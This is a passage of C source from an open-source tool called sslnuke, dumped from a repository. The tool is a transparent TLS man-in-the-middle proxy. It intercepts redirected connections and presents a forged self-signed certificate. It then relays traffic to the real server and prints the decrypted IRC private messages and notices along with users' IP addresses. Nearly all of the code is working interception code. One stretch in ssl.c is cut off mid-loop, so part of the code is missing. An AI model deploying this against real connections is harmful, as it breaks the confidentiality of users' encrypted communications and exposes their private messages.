if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) < 0) 35 | error(1, "[!] setsockopt"); 36 | 37 | if(bind(sock, (struct sockaddr*)&serv, sizeof(struct sockaddr_in)) < 0) 38 | error(1, "[!] bind"); 39 | 40 | if(listen(sock, 5) < 0) 41 | error(1, "[!] listen"); 42 | 43 | return sock; 44 | } 45 | 46 | // Deals with incoming connections 47 | struct proxied_connection *handle_new_connection(int sock, struct proxied_connection *conns, fd_set *fds, int *high_sock) { 48 | struct proxied_connection *conn; 49 | socklen_t csize = sizeof(struct sockaddr_in); 50 | 51 | // append to connection list 52 | conn = add_conn(conns); 53 | 54 | // accept the connection 55 | if((conn->fsock = accept(sock, (struct sockaddr*)&conn->from, &csize)) < 0) { 56 | error(0, "[!] accept"); 57 | rm_conn(conn, fds); 58 | return NULL; 59 | } 60 | 61 | // add it to the fd_set 62 | FD_SET(conn->fsock, fds); 63 | printf("[*] Received connection from: %s:%d\n", inet_ntoa(conn->from.sin_addr), ntohs(conn->from.sin_port)); 64 | 65 | // shamelessly ripped from: https://github.com/darkk/redsocks/blob/master/base.c#L224 66 | // retreives the original destination IP address 67 | if(getsockopt(conn->fsock, SOL_IP, SO_ORIGINAL_DST, &conn->to, &csize) < 0) { 68 | error(0, "[!] getsockopt"); 69 | rm_conn(conn, fds); 70 | return NULL; 71 | } 72 | 73 | // open a connection with the destination server 74 | if((conn->tsock = open_connection(&conn->to)) < 0) { 75 | rm_conn(conn, fds); 76 | return NULL; 77 | } 78 | 79 | FD_SET(conn->tsock, fds); 80 | 81 | if(conn->tsock > *high_sock) 82 | *high_sock = conn->tsock; 83 | if(conn->fsock > *high_sock) 84 | *high_sock = conn->fsock; 85 | 86 | conn->ssl_tried = 0; 87 | return conn; 88 | } 89 | 90 | // recv call back 91 | struct proxied_connection *handle_recv(struct proxied_connection *conn, fd_set *fds, fd_set *saved) { 92 | int bytes, insock, outsock; 93 | char buff[65536]; 94 | struct proxied_connection *handle = conn; 95 | SSL *inssl, *outssl; 96 | 97 | // if the server is talking to us first, it's not SSL 98 | if(FD_ISSET(conn->tsock, fds)) { 99 | if(!conn->ssl_tried) { 100 | conn->ssl_tried = 1; 101 | printf("[*] Connection not using SSL.\n"); 102 | } 103 | 104 | insock = conn->tsock; 105 | outsock = conn->fsock; 106 | inssl = conn->tssl; 107 | outssl = conn->fssl; 108 | } else if(FD_ISSET(conn->fsock, fds)) { 109 | // attempt to establish an SSL connection 110 | if(!conn->ssl_tried) { 111 | if(accept_ssl(conn) < 0) 112 | return rm_conn(conn, saved); 113 | 114 | conn->ssl_tried = 1; 115 | 116 | if(conn->tssl) { 117 | printf("[*] Connection Using SSL!\n"); 118 | return handle; 119 | } else { 120 | printf("[*] Connection not using SSL.\n"); 121 | } 122 | } 123 | 124 | insock = conn->fsock; 125 | outsock = conn->tsock; 126 | inssl = conn->fssl; 127 | outssl = conn->tssl; 128 | } else { 129 | return handle; 130 | } 131 | 132 | memset(buff, 0, 65536); 133 | // Read a packet, send it, and print it out 134 | if((bytes = read_ssl(insock, inssl, buff)) > 0) { 135 | send_ssl(outsock, outssl, buff, bytes); 136 | parse_packet(insock, conn, buff, bytes); 137 | } else { 138 | handle = rm_conn(conn, saved); 139 | } 140 | 141 | return handle; 142 | } 143 | 144 | // select loop 145 | void handle_sockets(int server_sock) { 146 | int high_sock = server_sock; 147 | fd_set saved, fds; 148 | struct proxied_connection *conns = NULL, *conn; 149 | 150 | FD_ZERO(&saved); 151 | FD_SET(server_sock, &saved); 152 | 153 | for(;;) { 154 | fds = saved; 155 | select(high_sock + 1, &fds, NULL, NULL, NULL); 156 | 157 | if(FD_ISSET(server_sock, &fds)) { 158 | if((conn = handle_new_connection(server_sock, conns, &saved, &high_sock))) 159 | conns = conn; 160 | } 161 | 162 | if(!conns) 163 | continue; 164 | 165 | for(conn = first_conn(conns); conn; conn = conn->next) { 166 | if((conn = handle_recv(conn, &fds, &saved))) 167 | continue; 168 | conns = conn; 169 | break; 170 | } 171 | } 172 | } 173 | 174 | // Connect to a server 175 | int open_connection(struct sockaddr_in *dst) { 176 | int sock; 177 | 178 | printf("[*] Opening connection to: %s:%d\n", inet_ntoa(dst->sin_addr), ntohs(dst->sin_port)); 179 | 180 | if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { 181 | error(0, "[!] socket"); 182 | return -1; 183 | } 184 | 185 | if(connect(sock, (struct sockaddr*)dst, sizeof(struct sockaddr_in)) < 0) { 186 | error(0, "[!] connect"); 187 | return -1; 188 | } 189 | 190 | return sock; 191 | } 192 | 193 | int main() { 194 | int sock; 195 | 196 | sock = create_srv_sock("127.0.0.1", 4444); 197 | handle_sockets(sock); 198 | 199 | return 0; 200 | } 201 | 202 | -------------------------------------------------------------------------------- /src/parse_incoming.c: -------------------------------------------------------------------------------- 1 | /* 2 | * sslnuke -- parse_incoming.c 3 | * (C) 2013 jtRIPper 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 1, or (at your option) 8 | * any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. 18 | */ 19 | 20 | #include "../include/parse_incoming.h" 21 | 22 | // Parse out IRC messages from packets 23 | void parse_packet(int sock, struct proxied_connection *conn, char *buffer, int size) { 24 | char new_buff[65536]; 25 | char *line = strtok(buffer, "\n"), *msg_index; 26 | char *me = inet_ntoa(conn->from.sin_addr); 27 | char *to, *from; 28 | 29 | memset(new_buff, 0, 65535); 30 | memcpy(new_buff, buffer, size); 31 | 32 | for(line = strtok(new_buff, "\n"); line != NULL; line = strtok(NULL, "\n")) { 33 | if(!(msg_index = strcasestr(line, "PRIVMSG")) && !(msg_index = (char*)strcasestr(line, "NOTICE"))) 34 | continue; 35 | 36 | if(msg_index == line) { 37 | from = me; 38 | } else { 39 | *(msg_index - 1) = '\0'; 40 | from = line + 1; 41 | } 42 | 43 | if(!(to = strchr(msg_index, ' '))) 44 | continue; 45 | 46 | to++; 47 | 48 | if(!(msg_index = strchr(msg_index, ':'))) 49 | continue; 50 | 51 | *(msg_index - 1) = '\0'; 52 | msg_index++; 53 | 54 | printf("[*] %s -> %s ", from, to); 55 | if(sock == conn->tsock) { 56 | printf("(%s): ", inet_ntoa(conn->to.sin_addr)); 57 | } else { 58 | printf("(%s): ", inet_ntoa(conn->from.sin_addr)); 59 | } 60 | 61 | printf("%s\n", msg_index); 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/ssl.c: -------------------------------------------------------------------------------- 1 | /* 2 | * sslnuke -- ssl.c 3 | * (C) 2013 jtRIPper 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 1, or (at your option) 8 | * any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. 18 | */ 19 | 20 | #include "../include/ssl.h" 21 | 22 | void print_hex(unsigned char *pkt, int len) { 23 | int i, j; 24 | 25 | for(i=0, j=0; i= sizeof(dNSName)) { 96 | exit(1); 97 | } 98 | X509V3_set_ctx(&ctx, *cert, *cert, NULL, NULL, 0); 99 | ext = X509V3_EXT_conf(NULL, &ctx, "subjectAltName", dNSName); 100 | if (ext == NULL){ 101 | exit(1); 102 | } 103 | 104 | if (X509_add_ext(*cert, ext, -1) == 0) { 105 | 106 | exit(1); 107 | } 108 | 109 | /* Set a comment. */ 110 | ext = X509V3_EXT_conf(NULL, &ctx, "nsComment", CERTIFICATE_COMMENT); 111 | if (ext == NULL) { 112 | exit(1); 113 | } 114 | if (X509_add_ext(*cert, ext, -1) == 0) { 115 | exit(1); 116 | } 117 | 118 | X509_set_issuer_name(*cert, X509_get_subject_name(*cert)); 119 | X509_gmtime_adj(X509_get_notBefore(*cert), 0); 120 | X509_gmtime_adj(X509_get_notAfter(*cert), DEFAULT_CERT_DURATION); 121 | X509_set_pubkey(*cert, *key); 122 | 123 | /* Sign it. */ 124 | if (X509_sign(*cert, *key, EVP_sha1()) == 0) { 125 | exit(1); 126 | } 127 | 128 | return 1; 129 | } 130 | 131 | 132 | SSL_CTX* InitCTX(struct proxied_connection *conn) 133 | { 134 | X509 *cert; 135 | EVP_PKEY *key; 136 | 137 | SSL_library_init(); 138 | OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ 139 | SSL_load_error_strings(); /* Bring in and register error messages */ 140 | conn->tctx = SSL_CTX_new(SSLv3_server_method()); /* Create new context */ 141 | 142 | if (conn->tctx == NULL) { 143 | abort(); 144 | } 145 | 146 | SSL_CTX_set_options(conn->tctx, SSL_OP_ALL | SSL_OP_NO_SSLv2); 147 | SSL_CTX_set_cipher_list(conn->tctx, "ALL:!ADH:!LOW:!EXP:!MD5:@STRENGTH"); 148 | 149 | if (gen_cert(&cert, &key) == 0) { 150 | exit(1); 151 | } 152 | 153 | if (SSL_CTX_use_certificate(conn->tctx, cert) != 1) { 154 | exit(1); 155 | } 156 | if (SSL_CTX_use_PrivateKey(conn->tctx, key) != 1) { 157 | exit(1); 158 | } 159 | 160 | X509_free(cert); 161 | EVP_PKEY_free(key); 162 | 163 | return conn->tctx; 164 | } 165 | 166 | // Borrowed from: http://savetheions.com/2010/01/16/quickly-using-openssl-in-c/ 167 | int ssl_client(struct proxied_connection *conn) { 168 | if(!(conn->tctx = SSL_CTX_new(SSLv23_client_method()))) 169 | return -1; 170 | 171 | if(!(conn->tssl = SSL_new(conn->tctx))) 172 | return -1; 173 | 174 | if(!SSL_set_fd(conn->tssl, conn->tsock)) 175 | return -1; 176 | 177 | if(SSL_connect(conn->tssl) != 1) 178 | return -1; 179 | 180 | return 1; 181 | } 182 | 183 | // Detects if a connection is using SSL, if it is it completes SSL handshake 184 | // and establishes an SSL connection with the server, if it's not it returns. 185 | int accept_ssl(struct proxied_connection *conn) { 186 | char buff[65536]; 187 | struct ssl_client_hello *hello; 188 | int size; 189 | 190 | conn->tssl = NULL; 191 | 192 | // Read a packet off of the TCP stack without removing it so we can still accept the conection 193 | if((size = recv(conn->fsock, &buff, 65535, MSG_PEEK)) < sizeof(struct ssl_client_hello)) { 194 | printf("[!] Handshake too short.\n"); 195 | conn->fssl = NULL; 196 | return 0; 197 | } 198 | 199 | hello = (struct ssl_client_hello*)buff; 200 | if(hello->content_type != 0x16 || hello->handshake_type != 0x01) { 201 | printf("[!] Wrong content (0x%x) or handshake type (0x%x).\n", hello->content_type, hello->handshake_type); 202 | conn->fssl = NULL; 203 | return 0; 204 | } 205 | 206 | if(hello->tls_version_major != 0x03 || (hello->tls_version_minor < 0x01 && hello->tls_version_minor > 0x03)) { 207 | printf("[!] Bad TLS version.\n"); 208 | conn->fssl = NULL; 209 | return 0; 210 | } 211 | 212 | if(hello->ssl_version_major != 0x03 || (hello->ssl_version_minor < 0x01 && hello->ssl_version_minor > 0x03)) { 213 | printf("[!] Bad SSL version.\n"); 214 | conn->fssl = NULL; 215 | return 0; 216 | } 217 | 218 | conn->fctx = InitCTX(conn); 219 | conn->fssl = SSL_new(conn->fctx); 220 | SSL_set_fd(conn->fssl, conn->fsock); 221 | conn->fsock = SSL_get_fd(conn->fssl); 222 | 223 | if(SSL_accept(conn->fssl) == -1) { 224 | SSL_free(conn->fssl); 225 | SSL_CTX_free(conn->fctx); 226 | conn->fssl = NULL; 227 | return -1; 228 | } 229 | 230 | return ssl_client(conn); 231 | } 232 | 233 | // receive a packet 234 | int read_ssl(int sock, SSL *ssl, char *buff) { 235 | if(ssl) { 236 | return SSL_read(ssl, buff, 65535); 237 | } else { 238 | return recv(sock, buff, 65535, 0); 239 | } 240 | } 241 | 242 | // send a packet 243 | int send_ssl(int sock, SSL *ssl, char *buff, int size) { 244 | if(ssl) { 245 | return SSL_write(ssl, buff, size); 246 | } else { 247 | return send(sock, buff, size, 0); 248 | } 249 | } 250 | 251 | -------------------------------------------------------------------------------- /src/util.c: -------------------------------------------------------------------------------- 1 | /* 2 | * sslnuke -- util.c 3 | * (C) 2013 jtRIPper 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 1, or (at your option) 8 | * any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. 18 | */ 19 | 20 | #include "../include/util.h" 21 | 22 | // print an error 23 | void error(int e, char *format, ...) { 24 | char error_buffer[1024]; 25 | va_list args; 26 | 27 | va_start(args, format); 28 | vsnprintf(error_buffer, sizeof(error_buffer), format, args); 29 | perror(error_buffer); 30 | va_end(args); 31 | 32 | if(e) exit(1); 33 | } 34 | 35 | --------------------------------------------------------------------------------